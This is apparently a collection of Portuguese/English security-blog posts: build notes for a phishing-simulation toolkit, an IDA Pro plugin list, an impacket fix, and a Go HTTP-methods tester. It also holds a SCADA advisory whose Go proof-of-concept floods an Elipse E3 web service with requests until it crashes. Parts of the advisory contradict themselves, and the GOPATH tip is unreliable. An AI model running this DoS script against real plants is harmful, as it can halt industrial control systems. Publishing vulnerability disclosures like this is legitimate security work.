Gophish – Golang Open-Source Phishing Toolkit

Gophish – Golang Open-Source Phishing Toolkit

Environment
Fedora 23 x86_64

Database
sqlite3

Git clone
https://github.com/gophish/gophish.git

adicitional packages install
go get github.com/gophish/gophish/config
go get bitbucket.org/liamstask/goose/lib/goose
go get github.com/PuerkitoBio/goquery
go get github.com/gorilla/context
go get github.com/gorilla/mux
go get github.com/gorilla/securecookie
go get github.com/jinzhu/gorm
go get github.com/jordan-wright/email
go get github.com/justinas/nosurf
go get github.com/oschwald/maxminddb-golang
go get golang.org/x/crypto/bcrypt
go get github.com/gorilla/sessions
go get github.com/gorilla/handlers

compile
go build gophish.go
./gophish

Interface Admin
http://127.0.0.1:3333/login

SiteFake and Phishing
http://0.0.0.0:80/

Screenshots

Gophish-Login

 

Selection_012

 

 

 

 

 

Selection_013

 

 

 

 

 

Selection_014

 

 

 

 

 

Selection_015

 

 

 

 

 

Selection_016

 

 

 

 

 

Selection_017

 

 

 

 

 

 

Selection_018

 

 

 

 

 

 

 

 

Happy Pentesting!

@firebitsbr

List of plugins/scripts for IDA Pro (both RE malware, vulnerabilities and exploits)

Hi,

A great list of plugins /scripts for IDA Pro (both RE malware, vulnerabilities and exploits):

  • 3DSX Loader

    IDA PRO Loader for 3DSX files

  • Adobe Flash disassembler

    The 2 plugins present in this archive will enable IDA to parse SWF files, load all SWF tags as segments for fast search and retrieval, parse all tags that can potentially contain ActionScript2 code, discover all such code(a dedicated processor module has been written for it) and even name the event functions acording to event handled in it (eg. OnInitialize). Download

  • Android Debugging

    This version have both support for native arm debugging via usb and sdk ADV manager.

  • Android Scripts Collection

    Collection of Android reverse engineering scripts that make my life easier

  • BinClone

    BinClone: detecting code clones in malware [SERE 2014]

  • BinNavi

    BinNavi is a binary analysis IDE – an environment that allows users to inspect, navigate, edit, and annotate control-flow-graphs of disassembled code, do the same for the callgraph of the executable, collect and combine execution traces, and generally keep track of analysis results among a group of analysts.

  • Bin Sourcerer

    BinSourcerer (a.k.a RE-Source Online) is an assembly to source code matching framework for binary auditing and malware analysis.

  • Bootroom Analysis Library

    IBAL is the IDA Pro Bootrom Analysis Library, which contains a number of useful functions for analyzing embedded ROMs.

  • Bosch ME7

    Siemens Bosch ME7.x Disassembler Helper for IDA Pro

  • collabREate

    collabREate is a plugin for IDA Pro that is designed to provide a collaborative reverse engineering capability for multiple IDA users working on the same binary file.

  • Class Informer

    Scans an MSVC 32bit target IDB for vftables with C++ RTTI, and MFC RTCI type data. Places structure defs, names, labels, and comments to make more sense of class vftables (“Virtual Function Table”) and make them read easier as an aid to reverse engineering. Creates a list window with found vftables for browsing.

  • Crowd Detox

    The CrowdDetox plugin for Hex-Rays automatically removes junk code and variables from Hex-Rays function decompilations.

  • Dalvik Header

    This is a simple Dalvik header plugin for IDA Pro

  • Data Xref Counter

    Enumerates all of the the x-references in a specific segment and counts the frequency of usage. The plugin displays the data in QtTableWidget and lets the user filter and sort the references. You can also export the data to a CSV file.

  • Diaphora

    Diaphora (διαφορά, Greek for ‘difference’) is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc… It was released during SyScan 2015.

  • DOXBox Debugger

    Eric Fry’s IDA/DOSBox debugger plugin

  • DWARF Plugin

    IDADWARF is an IDA plugin that imports DWARF debugging symbols into an IDA database.Download

  • Dynamic IDA Enrichment

    DIE is an IDA python plugin designed to enrich IDA`s static analysis with dynamic data. This is done using the IDA Debugger API, by placing breakpoints in key locations and saving the current system context once those breakpoints are hit.

  • EFI Scripts

    Some IDA scripts and tools to assist with reverse engineering EFI executables.

  • EtherAnnotate

    Parses the specialized instruction trace files that are generated using the EtherAnnotate Xen modification (http://github.com/inositle/etherannotate_xen). From the instruction trace, register values and code coverage of the run-time information are visualized in IDA Pro through instruction comments and line colorations.

  • Extract Macho-O

    This is a very simple IDA plugin to extract all Mach-O binaries contained anywhere in the disassembly.

  • Flare Plugins

    Shellcode Hashes, Struct Typer, StackStrings, MSDN Annotations, ApplyCalleType

  • FLS Loader

    IDA Pro loader module for IFX iPhone baseband firmwares. Based on a universal scatter loader script by roxfan.

  • Frida

    This is plugin for ida pro thar uses the Frida api. Mainly trace functions.

  • Funcap

    This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA’s inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function’s arguments.

  • Function Tagger

    This IDAPython script tags subroutines according to their use of imported functions

  • Gamecube Extension

    This is a Gekko CPU Paired Single extension instructions plug-in for IDA Pro 5.2

  • Gamecube DSP

    This project adds support for the DSP present in the Gamecube and the Wii to IDA, the Interactive Disassembler [1]. This allows easy analyze of a DSP ucode, handling cross-references, control flow, and so on.

  • Graph Slick

    Automated detection of inlined functions. It highlights similar groups of nodes and allows you to group them, simplifying complex functions. The authors provide an accompanying presentation which explains the algorithms behind the plugin and shows sample use cases.

  • HexRays CodeXplorer

    The Hex-Rays Decompiler plugin for better code navigation in RE process. CodeXplorer automates code REconstruction of C++ applications or modern malware like Stuxnet, Flame, Equation, Animal Farm …

  • HexRays Tools

    • Assist in creation of new structure definitions / virtual calls detection
    • Jump directly to virtual function or structure member definition
    • Gives list of structures with given size, with given offset
    • Finds structures with same “shape” as is used.
    • convert function to __usercall or __userpurge
    • and more….
  • IDA2SQL

    As the name implies this plugin can be used to export information from IDA databases to SQL databases. This allows for further analysis of the collected data: statstical analysis, building graphs, finding similarities between programs, etc.

  • IDA C#

    Scripting IDA with C#

  • IDA Compare

    IDA disassembly level diffing tool, find patches and modifications between malware variants. See mydoom A/B sample database and video trainer for usage.

  • IDA Eye

    Plugin that enables you to perform different operations at the mnemonic level, independent of any particular processor type. These operations are facilitated through a parameterized template, which include the capabilities to de/highlight instructions, gather statistical information about the frequency of each instruction, and search for sequences of mnemonics, among other features.

  • IDA Extrapass

    An IDA Pro Win32 target clean up plug-in by Sirmabus. It does essentially four cleaning/fixing steps: Convert stray code section values to “unknown”, fix missing “align” blocks, fix missing code bytes, and locate and fix missing/undefined functions.

  • IDA Patchwork

    Stitching against malware families with IDA Pro (tool for the talk at Spring9,https://spring2014.gdata.de/spring2014/programm.html). In essence, I use a somewhat fixed / refurbished version of PyEmu along IDA to demonstrate deobfuscation of the different patterns found in the malware family Nymaim.

  • IDA Rest

    A simple REST-like API for basic interoperability with IDA Pro.

  • IDA Scope

    IDAscope is an IDA Pro extension with the goal to ease the task of (malware) reverse engineering with a current focus on x86 Windows. It consists of multiple tabs, containing functionality to achieve different goals such as fast identification of semantically interesting locations in the analysis target, seamless access to MSDN documentation of Windows API, and finding of potential crypto/compression algorithms.

  • IDA Signature Matching Tool

    Tool for searching signatures inside files, extremely useful as help in reversing jobs like figuring or having an initial idea of what encryption/compression algorithm is used for a proprietary protocol or file. It can recognize tons of compression, multimedia and encryption algorithms and many other things like known strings and anti-debugging code which can be also manually added since it’s all based on a text signature file read at run-time and easy to modify.

  • IDA Sploiter

    IDA Sploiter is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s capabilities as an exploit development and vulnerability research tool. Some of the plugin’s features include a powerful ROP gadgets search engine, semantic gadget analysis and filtering, interactive ROP chain builder, stack pivot analysis, writable function pointer search, cyclic memory pattern generation and offset analysis, detection of bad characters and memory holes, and many others.

  • IDA Stealth

    IDAStealth is a plugin which aims to hide the IDA debugger from most common anti-debugging techniques. The plugin is composed of two files, the plugin itself and a dll which is injected into the debuggee as soon as the debugger attaches to the process. The injected dll actually implements most of the stealth techniques either by hooking system calls or by patching some flags in the remote process.

  • IDA Toolbag

    The IDA Toolbag plugin provides many handy features, such as:

    • A ‘History’ view, that displays functions in the disassembly that you have decided are important, and the relationships between them.
    • A code path-searching tool, that lets you find what functions (or blocks) are forming a path between two locations.
    • Manage and run your IDC/Python scripts
    • Something that’s also of considerable importance is that the IDA Toolbag lets you collaborate with other IDA users: one can publish his ‘History’, or import another user’s history & even merge them!
    • See the official documentation for an extensive feature list.
  • IDA Xtensa

    This is a processor plugin for IDA, to support the Xtensa core found in Espressif ESP8266. It does not support other configurations of the Xtensa architecture, but that is probably (hopefully) easy to implement.

  • idb2pat

    IDB to Pat.

  • MSDN Helper

    This tool will help you to get to Offline MSDN help while using IDA Pro.

  • MyNav

    MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between “interesting” functions and data entry points.

  • NES Loader

    Nintendo Entertainment System (NES) ROM loader module for IDA Pro.

  • Optimice

    This plugin enables you to remove some common obfuscations and rewrite code to a new segment. Currently supported optimizations are: Dead code removal, JMP merging, JCC opaque predicate removal, Pattern based deobfuscations

  • Patcher

    IDA Patcher is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s ability to patch binary files and memory.

  • Plus22

    Plus22 transforms x86_64 executables to be processed with 32-bit version of Hex-Rays Decompiler.

  • Plympton

    A gem to read program disassembly from a YAML dump. The YAML dump is generated from an IDA Pro python script. This script is included along with this Gem (func.py)

  • Pomidor

    IDA Pomidor is a plugin for Hex-Ray’s IDA Pro disassembler that will help you retain concentration and productivity during long reversing sessions.

  • Qualcomm Loader

    IDA loader plugin for Qualcomm Bootloader Stages

  • qb-sync

    qb-sync is an open source tool to add some helpful glue between IDA Pro and Windbg. Its core feature is to dynamically synchronize IDA’s graph windows with Windbg’s position.

  • Recompiler

    IDA recompiler

  • REProgram

    A way of making almost-arbitrary changes to an executable when run under a debugger — even changes that don’t fit.

  • REtypedef

    REtypedef is an IDA PRO plugin that allows defining custom substitutions for function names. It comes with a default ruleset providing substitutions for many common STL types.

  • Samsung S4 Rom Loader

    IDA Pro Loader Plugin for Samsung Galaxy S4 ROMs

  • Sark

    Sark, (named after the notorious Tron villain,) is an object-oriented scripting layer written on top of IDAPython. Sark is easy to use and provides tools for writing advanced scripts and plugins.

  • Sega Genesis/Megadrive Tools

    Special IDA Pro tools for the Sega Genesis/Megadrive romhackers. Tested work on v5.2, v6.6. Should work on other versions.

  • Sig Maker

    Can create sigs automatically and has a wide variety of functions (might be unstable on IDA 6.2).

  • Snippt Detector

    Snippet Detector is an IDA Python scripts project used to detect snippets from 32bit disassembled files. snippet is the word used to identify a generic sequence of instructions (at the moment a snippet is indeed a defined function). The aim of the tool is to collect many disassembled snippets inside a database for the detection process.

  • Snowman Decompiler

    Snowman is a native code to C/C++ decompiler. Standalone and IDA Plugin. Source Code

  • Splode

    Augmenting Static Reverse Engineering with Dynamic Analysis and Instrumentation

  • spu3dbg

    Ida Pro debugger module for the anergistic SPU emulator.

  • Synergy

    A combination of an IDAPython Plugin and a control version system that result in a new reverse engineering collaborative addon for IDA Pro. By http://cubicalabs.com/

  • Tarkus

    Tarkus is a plugin manager for IDA Pro, modelled after Python’s pip.

  • VirusBattle

    The plugin is an integration of Virus Battle API to the well known IDA Disassembler. Virusbattle is a web service that analyses malware and other binaries with a variety of advanced static and dynamic analyses.

  • Win32 LST to Inline Assembly

    Python script which extracts procedures from IDA Win32 LST files and converts them to correctly dynamically linked compilable Visual C++ inline assembly.

  • WinIOCtlDecoder

    An IDA Pro plugin which decodes a Windows Device I/O control code into DeviceType, FunctionCode, AccessType and MethodType.

  • Xex Loader for IDA 6.6

    This adds the ability to load xex files into IDA directly without having to first process them in any way. It processes the xex file as much as possible while loading to minimise the work required by the user to get it to a state fit for reversing.

  • X86Emu

    Its purpose is to allow a reverse engineer the chance to step through x86 code while reverse engineering a binary. The plugin can help you step through any x86 binary from any platform. For Windows binaries, many common library calls are trapped and emulated by the emulator, allowing for a higher fidelity emulation. I find it particularly useful for stepping through obfuscated code as it automatically reorganizes an IDA disassembly based on actual code paths.

VSLA Security Advisory FIRE-SCADA-DOS-2013-001- Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC.

http://seclists.org/fulldisclosure/2014/Jul/69

Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC. From: Mauro Risonho de Paula Assumpção
Date: Tue, 15 Jul 2014 12:18:35 -0300

VSLA Security Advisory FIRE-SCADA-DOS-2013-001:
Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC.

LEVEL: EXTREME
In our tests authorized by the customer, we can stop the entire plant.

Published: 10/29/2013
Version: 1.0

Vendor: Elipse (http://www.elipse.com.br/port/index.aspx)
Product: Elipse E3 (http://www.elipse.com.br/port/e3.aspx)
Version affected: 3.x and prior

Product description:
Elipse E3 is a proprietary software.
The E3 is a system of supervision and control processes designed to meet
the current requirements of connectivity, flexibility and reliability,
making it ideal for use in critical systems (SCADA PLC).

Credit: Mauro Risonho de Paula Assumpção aka firebits

Finding 1: Http DoS Requests Flooding Crash Device Vulnerabilities by
‘index.html’ page.
CVE: CVE-2011-4899

Proof of Concept:
Exploit:

// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// mauro.risonho () gmail com
// 29-10-2013 11:42
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// Exploit Devel in Fedora:
// sudo yum install golang -y
// go run Http-DoS-Request-SCADA-ATTACK-rev1.go

// Exploit Http-DoS-Request-SCADA-ATTACK-rev1.go
package main

import (
“fmt”
“io/ioutil”
“log”
“net/http”
)

func main() {
count := 1
// fmt.Println (“”)
// fmt.Println (” _____.__ ___. .__ __ “)
// fmt.Println (” _/ ____\__|______ ____\_ |__ |__|/ |_ ______ “)
// fmt.Println (” \ __\| \_ __ \_/ __ \| __ \| \ __\/ ___/ “)
// fmt.Println (” | | | || | \/\ ___/| \_\ \ || | \___ \ “)
// fmt.Println (” |__| |__||__| \___ >___ /__||__| /____ > “)
// fmt.Println (” \/ \/ \/ “)
// fmt.Println (” bits on fire. “)
fmt.Println (“Exploit Http DoS Request for SCADA ATTACK Elipse 3”)
fmt.Println (“Mauro Risonho de Paula Assumpção aka firebits”)
fmt.Println (“29-10-2013 11:42”)
fmt.Println (“mauro.risonho () gmail com”)
fmt.Println (“Hard lock Dll crash in Windows 2003 SP2 + “)
fmt.Println (“20 requests connections per second”)

for {
count += count
//set ip http://192.168.0.1:1681/index.html ->
// Elipse 3 http://

fmt.Println (“Exploit Http DoS Request for SCADA ATTACK Elipse 3”)
fmt.Println (“Mauro Risonho de Paula Assumpção aka firebits”)
fmt.Println (“29-10-2013 11:42”)
fmt.Println (“mauro.risonho () gmail com”)
fmt.Println (“Hard lock Dll crash in Windows 2003 SP2 + “)
fmt.Println (“20 requests connections”)

fmt.Println (“Connected Port 1681…Testing”)
fmt.Println (“Counter Loops: “, count)

res, err := http.Get(“http://192.168.0.1:1681/index.html”;)
if err != nil {
log.Fatal(err)
}
robots, err := ioutil.ReadAll(res.Body)
res.Body.Close()
if err != nil {
log.Fatal(err)
}
fmt.Printf(“%s”, robots)
}
}

Crash 20 Requests Paralels

Vendor Response:
Due to the fact that the component in question is an installation script,
the vendor has stated that the attack surface is too small to warrant
a fix:

“We would be possible for us to communicate the details of the test, so
we can arrange a hotfix.”

VSLA Virtual Security Labs Anywhere recommends installing the hotfix,
hardware/software to be putting in a production environment.

Remediation Steps:
No official fix for these issues will be released for the Elipse.
However, administrators can mitigate these issues defining rules within
a web application firewall (WAF) solution.

Vendor Communication Timeline:
10/24/2013 – Vulnerability disclosed
10/29/2013 – Confirmation to release vulnerabilities
? – Advisory published

References
1. http://www.elipse.com.br/port/e3.aspx

About VSLA Virtual Security Labs Anywhere:
VSLA Virtual Security Labs Anywhere is a research blog on security
the information.
firebitsbr.wordpress.com

Disclaimer:
The information provided in this advisory is provided “as is” without
warranty of any kind. VSLA Virtual Security Labs Anywhere disclaims all
warranties, either express or implied, including the warranties of
merchantability and fitness for a particular purpose. In no event shall
VSLA Virtual Security Labs Anywhere or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
VSLA Virtual Security Labs Anywhere or its suppliers have been advised
of the possibility of such damages. Some states do not allow the
exclusion or limitation of liability for consequential or incidental
damages so the foregoing limitation may not apply.

@firebitsbr

impacket – debian 7 netinstall

Erro:

python /usr/local/bin/rdp_check.py <ip>
Traceback (most recent call last):
File “/usr/local/bin/rdp_check.py”, line 23, in <module>
from impacket.spnego import *
ImportError: No module named spnego

Instalar os packages:
easy_install urllib2_kerberos
easy_install httpie-negotiate
easy_install pyOpenSSL

Executar
python /usr/local/bin/rdp_check.py <ip>
Impacket v0.9.11 – Copyright 2002-2014 Core Security Technologies

[*] Access Granted

@firebitsbr

golang: Setando variável $GOPATH para o path correto no Fedora 20

Não tem coisa pior quando você está desenvolvendo software em Golang, do que não achar o path para a variável $GOPATH para o path correto no Fedora 20, por exemplo. Há uma forma de fazer isso no arquivo .bashrc ou no /etc/profile, mas ainda assim você deve saber onde fica o caminho correto. Isso varia de distro para distro (ex: no Debian o PATH para GOPATH é diferente do Fedora.)

No Fedora 20, é feito assim:

#sudo  export GOPATH=/usr/lib64/golang

@firebitsbr

golang: Criando um Http Methods Tester v0.1 by firebits – baseado na RFC 2616

Já faz um tempo que estou me aprofundando nos conceitos da OWASP, há muito no que aprofundar ainda. Estou desenvolvendo um WAS (Web Application Scanner) open source e apenas “free for fun”, mesmo. 🙂

Esse source code que fiz foi para explorar Http Methods, sendo que pode detectar alguns considerados vulneráveis em um web server.

Referência:
https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)

golang.org

my brain;)

/* Http Methods Tester v0.1
* RFC 2616 http://www.ietf.org/rfc/rfc2616.txt
* Obtem os HTTP Methods de uma web app
* Mauro Risonho de Paula Assumpção aka firebits
* 24.03.2014 23:01:17
* License BSD 3
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of the nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/

package main
import (
“net”
“os”
“fmt”
“io/ioutil”
)

func main() {
if len(os.Args) != 2 {
fmt.Fprintf(os.Stderr, “Uso: %s host:port “, os.Args[0])
os.Exit(1)

}
service := os.Args[1]
tcpAddr, err := net.ResolveTCPAddr(“tcp4”, service)

//Verificador de Error(err)
//TODO:
// tentar usar while e usar vetor
conn_TRACE, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_CONNECT, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_OPTIONS, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_PUT, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_POST, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_GET, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_HEAD, err := net.DialTCP(“tcp”, nil, tcpAddr)
conn_DELETE, err := net.DialTCP(“tcp”, nil, tcpAddr)

//Verificador de Error(err)
_, err = conn_TRACE.Write([]byte(“TRACE / HTTP/1.0\r\n\r\n”))
_, err = conn_CONNECT.Write([]byte(“CONNECT / HTTP/1.0\r\n\r\n”))
_, err = conn_OPTIONS.Write([]byte(“OPTIONS / HTTP/1.0\r\n\r\n”))
_, err = conn_PUT.Write([]byte(“PUT / HTTP/1.0\r\n\r\n”))
_, err = conn_POST.Write([]byte(“POST / HTTP/1.0\r\n\r\n”))
_, err = conn_GET.Write([]byte(“GET / HTTP/1.0\r\n\r\n”))
_, err = conn_HEAD.Write([]byte(“HEAD / HTTP/1.0\r\n\r\n”))
_, err = conn_DELETE.Write([]byte(“DELETE / HTTP/1.0\r\n\r\n”))

//Verificador de Error(err)
//resultado, err := readFully(conn_Method)
result_TRACE, err := ioutil.ReadAll(conn_TRACE)
result_CONNECT, err := ioutil.ReadAll(conn_CONNECT)
result_OPTIONS, err := ioutil.ReadAll(conn_OPTIONS)
result_PUT, err := ioutil.ReadAll(conn_PUT)
result_POST, err := ioutil.ReadAll(conn_POST)
result_GET, err := ioutil.ReadAll(conn_GET)
result_HEAD, err := ioutil.ReadAll(conn_HEAD)
result_DELETE, err := ioutil.ReadAll(conn_DELETE)

checkError(err)

// exibir os resultados dos HTTP Methods
// TODO fazer algo que detecte se foi renderizado ou não, ou se retorna request 200
// ou 405
fmt.Println(“TRACE”)
fmt.Println(string(result_TRACE))
fmt.Println(“============================================================”)

fmt.Println(“CONNECT”)
fmt.Println(string(result_CONNECT))
fmt.Println(“============================================================”)

fmt.Println(“OPTIONS”)
fmt.Println(string(result_OPTIONS))
fmt.Println(“============================================================”)

fmt.Println(“PUT”)
fmt.Println(string(result_PUT))
fmt.Println(“============================================================”)

fmt.Println(“POST”)
fmt.Println(string(result_POST))
fmt.Println(“============================================================”)

fmt.Println(“GET”)
fmt.Println(string(result_GET))
fmt.Println(“============================================================”)

fmt.Println(“HEAD”)
fmt.Println(string(result_HEAD))
fmt.Println(“============================================================”)

fmt.Println(“DELETE”)
fmt.Println(string(result_DELETE))
fmt.Println(“============================================================”)

os.Exit(0)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, “Erro Fatal: %s”, err.Error())
os.Exit(1)
}
}

Há muito o que melhorar ainda, como usar vetor e quem sabe um while e ir fazendo trocas de http methods, mas vou revisando e postando aqui no blog.

Depois passo para meu git também.

No próximo post, vou falar sobre http methods com webdav, que é similar na essência, mas tem outra utilidade, um pouco diferenciada.

@firebitsbr